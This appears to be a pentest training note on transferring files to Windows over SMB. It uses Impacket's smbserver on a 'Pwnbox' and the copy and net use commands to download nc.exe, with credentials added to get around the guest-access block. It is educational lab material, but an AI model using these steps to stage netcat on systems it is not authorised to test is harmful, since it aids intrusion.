📦 SMB Downloads

When SMB is available we can use this method

📦 SMB Downloads — Moving Files the Windows Way!

The SMB (Server Message Block) protocol 🧱 runs over TCP port 445 and is used A LOT in enterprise networks where Windows machines are chatting 📡.

It allows apps and users to transfer files between systems easily! 😎

🛠️ Step 1: Set Up an SMB Server on Your Pwnbox

You're going to use smbserver.py from Impacket to share a directory!

sudo impacket-smbserver share -smb2support /tmp/smbshare

📁 This shares the /tmp/smbshare folder under the name share.

---

📥 Step 2: Download File from the SMB Server on Windows

Just use the copy command!

copy \\192.168.220.133\share\nc.exe

💡 This copies nc.exe from the Pwnbox to your current directory on Windows.

✅ Output:

1 file(s) copied.

🧱 Problem: Windows May Block Guest Access 😕

If you see an error like:

❌ You can't access this shared folder because your organization's security policies block unauthenticated guest access...

Don't worry! We can fix it by adding authentication.

🔐 Step 3: SMB Server with Username & Password

Start the server with credentials:

sudo impacket-smbserver share -smb2support /tmp/smbshare -user test -password test

---

🔐 Step 4: Mount the SMB Share on Windows

Map the network drive with your credentials:

net use n: \\192.168.220.133\share /user:test test

📁 This maps the share to drive n:

Then download your file:

copy n:\nc.exe

✅ Output:

1 file(s) copied.
